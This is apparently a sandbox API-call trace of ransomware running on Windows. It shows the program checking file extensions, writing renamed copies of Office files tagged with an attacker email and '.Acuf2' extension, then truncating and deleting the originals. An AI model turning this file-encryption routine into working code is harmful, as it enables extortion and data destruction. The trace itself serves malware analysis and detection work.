	[0266.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.790] lstrlenW (lpString=".zip") returned 4
	[0266.790] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0266.790] lstrlenW (lpString=".rar") returned 4
	[0266.790] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0266.790] lstrlenW (lpString=".bz2") returned 4
	[0266.790] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0266.790] lstrlenW (lpString=".7z") returned 3
	[0266.790] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0266.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.790] lstrlenW (lpString=".dbf") returned 4
	[0266.790] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0266.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.790] lstrlenW (lpString=".1cd") returned 4
	[0266.790] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0266.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_K_COL.HXK") returned 67
	[0266.790] lstrlenW (lpString=".jpg") returned 4
	[0266.790] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0266.790] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=50544) returned 1
	[0266.790] CloseHandle (hObject=0x358) returned 1
	[0266.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 0x20
	[0266.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0266.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0266.791] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.791] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0266.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0266.791] GetLastError () returned 0x0
	[0266.791] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xc570, lpOverlapped=0x0) returned 1
	[0266.811] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xc580, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xc580, lpOverlapped=0x0) returned 1
	[0266.812] ReadFile (in: hFile=0x358, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0266.812] WriteFile (in: hFile=0x32c, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0266.812] SetEndOfFile (hFile=0x32c) returned 1
	[0268.624] CloseHandle (hObject=0x32c) returned 1
	[0269.243] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.243] SetEndOfFile (hFile=0x358) returned 1
	[0269.554] CloseHandle (hObject=0x358) returned 1
	[0269.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.675] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visutils.vsl")) returned 1
	[0269.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.679] lstrlenW (lpString=".doc") returned 4
	[0269.679] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1
	[0269.679] lstrlenW (lpString=".docx") returned 5
	[0269.679] lstrcmpiW (lpString1=".docx", lpString2="S.VSL") returned -1
	[0269.679] lstrlenW (lpString=".pdf") returned 4
	[0269.679] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1
	[0269.679] lstrlenW (lpString=".xls") returned 4
	[0269.679] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1
	[0269.679] lstrlenW (lpString=".xlsx") returned 5
	[0269.679] lstrcmpiW (lpString1=".xlsx", lpString2="S.VSL") returned -1
	[0269.679] lstrlenW (lpString=".ppt") returned 4
	[0269.679] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1
	[0269.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.679] lstrlenW (lpString=".zip") returned 4
	[0269.680] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1
	[0269.680] lstrlenW (lpString=".rar") returned 4
	[0269.680] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1
	[0269.680] lstrlenW (lpString=".bz2") returned 4
	[0269.680] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1
	[0269.680] lstrlenW (lpString=".7z") returned 3
	[0269.680] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1
	[0269.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.680] lstrlenW (lpString=".dbf") returned 4
	[0269.680] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1
	[0269.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.680] lstrlenW (lpString=".1cd") returned 4
	[0269.680] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1
	[0269.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISUTILS.VSL") returned 60
	[0269.680] lstrlenW (lpString=".jpg") returned 4
	[0269.680] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1
	[0269.680] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=207) returned 1
	[0269.680] CloseHandle (hObject=0x218) returned 1
	[0269.680] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 0x20
	[0269.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.688] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.692] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.732] GetLastError () returned 0x0
	[0269.732] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0xcf, lpOverlapped=0x0) returned 1
	[0269.732] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xd0, lpOverlapped=0x0) returned 1
	[0269.733] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.733] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf2, lpOverlapped=0x0) returned 1
	[0269.733] SetEndOfFile (hFile=0x274) returned 1
	[0269.733] CloseHandle (hObject=0x274) returned 1
	[0269.733] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.733] SetEndOfFile (hFile=0x218) returned 1
	[0269.736] CloseHandle (hObject=0x218) returned 1
	[0269.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_col.hxt")) returned 1
	[0269.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.736] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.736] lstrlenW (lpString=".doc") returned 4
	[0269.736] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1
	[0269.736] lstrlenW (lpString=".docx") returned 5
	[0269.737] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1
	[0269.737] lstrlenW (lpString=".pdf") returned 4
	[0269.737] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1
	[0269.737] lstrlenW (lpString=".xls") returned 4
	[0269.737] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1
	[0269.737] lstrlenW (lpString=".xlsx") returned 5
	[0269.737] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1
	[0269.737] lstrlenW (lpString=".ppt") returned 4
	[0269.737] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1
	[0269.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.737] lstrlenW (lpString=".zip") returned 4
	[0269.737] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1
	[0269.737] lstrlenW (lpString=".rar") returned 4
	[0269.737] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1
	[0269.737] lstrlenW (lpString=".bz2") returned 4
	[0269.737] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1
	[0269.737] lstrlenW (lpString=".7z") returned 3
	[0269.737] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1
	[0269.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.737] lstrlenW (lpString=".dbf") returned 4
	[0269.737] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1
	[0269.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.737] lstrlenW (lpString=".1cd") returned 4
	[0269.737] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1
	[0269.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_COL.HXT") returned 63
	[0269.737] lstrlenW (lpString=".jpg") returned 4
	[0269.737] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1
	[0269.738] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=114) returned 1
	[0269.738] CloseHandle (hObject=0x218) returned 1
	[0269.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 0x20
	[0269.738] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.738] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.738] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.738] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.739] GetLastError () returned 0x0
	[0269.739] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x72, lpOverlapped=0x0) returned 1
	[0269.740] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.740] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.740] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0269.740] SetEndOfFile (hFile=0x274) returned 1
	[0269.740] CloseHandle (hObject=0x274) returned 1
	[0269.740] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.740] SetEndOfFile (hFile=0x218) returned 1
	[0269.743] CloseHandle (hObject=0x218) returned 1
	[0269.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_f_col.hxk")) returned 1
	[0269.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.743] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.743] lstrlenW (lpString=".doc") returned 4
	[0269.743] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.744] lstrlenW (lpString=".docx") returned 5
	[0269.744] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.744] lstrlenW (lpString=".pdf") returned 4
	[0269.744] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.744] lstrlenW (lpString=".xls") returned 4
	[0269.744] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.744] lstrlenW (lpString=".xlsx") returned 5
	[0269.744] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.744] lstrlenW (lpString=".ppt") returned 4
	[0269.744] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.744] lstrlenW (lpString=".zip") returned 4
	[0269.744] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.744] lstrlenW (lpString=".rar") returned 4
	[0269.744] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.744] lstrlenW (lpString=".bz2") returned 4
	[0269.744] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.744] lstrlenW (lpString=".7z") returned 3
	[0269.744] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.744] lstrlenW (lpString=".dbf") returned 4
	[0269.744] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.744] lstrlenW (lpString=".1cd") returned 4
	[0269.744] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_F_COL.HXK") returned 65
	[0269.744] lstrlenW (lpString=".jpg") returned 4
	[0269.744] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.745] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=113) returned 1
	[0269.745] CloseHandle (hObject=0x218) returned 1
	[0269.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 0x20
	[0269.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.745] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.745] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.746] GetLastError () returned 0x0
	[0269.746] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x71, lpOverlapped=0x0) returned 1
	[0269.746] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0x80, lpOverlapped=0x0) returned 1
	[0269.747] ReadFile (in: hFile=0x218, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x310fed4*=0x0, lpOverlapped=0x0) returned 1
	[0269.747] WriteFile (in: hFile=0x274, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x310fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x310fc9c*=0xf6, lpOverlapped=0x0) returned 1
	[0269.747] SetEndOfFile (hFile=0x274) returned 1
	[0269.747] CloseHandle (hObject=0x274) returned 1
	[0269.747] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.747] SetEndOfFile (hFile=0x218) returned 1
	[0269.750] CloseHandle (hObject=0x218) returned 1
	[0269.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0269.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winword_k_col.hxk")) returned 1
	[0269.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.750] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.750] lstrlenW (lpString=".doc") returned 4
	[0269.750] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1
	[0269.750] lstrlenW (lpString=".docx") returned 5
	[0269.750] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1
	[0269.750] lstrlenW (lpString=".pdf") returned 4
	[0269.750] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1
	[0269.750] lstrlenW (lpString=".xls") returned 4
	[0269.750] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1
	[0269.751] lstrlenW (lpString=".xlsx") returned 5
	[0269.751] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1
	[0269.751] lstrlenW (lpString=".ppt") returned 4
	[0269.751] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1
	[0269.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.751] lstrlenW (lpString=".zip") returned 4
	[0269.751] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1
	[0269.751] lstrlenW (lpString=".rar") returned 4
	[0269.751] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1
	[0269.751] lstrlenW (lpString=".bz2") returned 4
	[0269.751] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1
	[0269.751] lstrlenW (lpString=".7z") returned 3
	[0269.751] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1
	[0269.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.751] lstrlenW (lpString=".dbf") returned 4
	[0269.751] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1
	[0269.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.751] lstrlenW (lpString=".1cd") returned 4
	[0269.751] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1
	[0269.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINWORD_K_COL.HXK") returned 65
	[0269.751] lstrlenW (lpString=".jpg") returned 4
	[0269.751] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1
	[0269.752] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x310ff1c | out: lpFileSize=0x310ff1c*=42336) returned 1
	[0269.752] CloseHandle (hObject=0x218) returned 1
	[0269.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl")) returned 0x20
	[0269.752] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0269.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0269.752] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.752] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec8 | out: lpNewFilePointer=0x0) returned 1
	[0269.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WORKFLOW.VSL.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\workflow.vsl.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x274
	[0269.752] GetLastError () returned 0x0
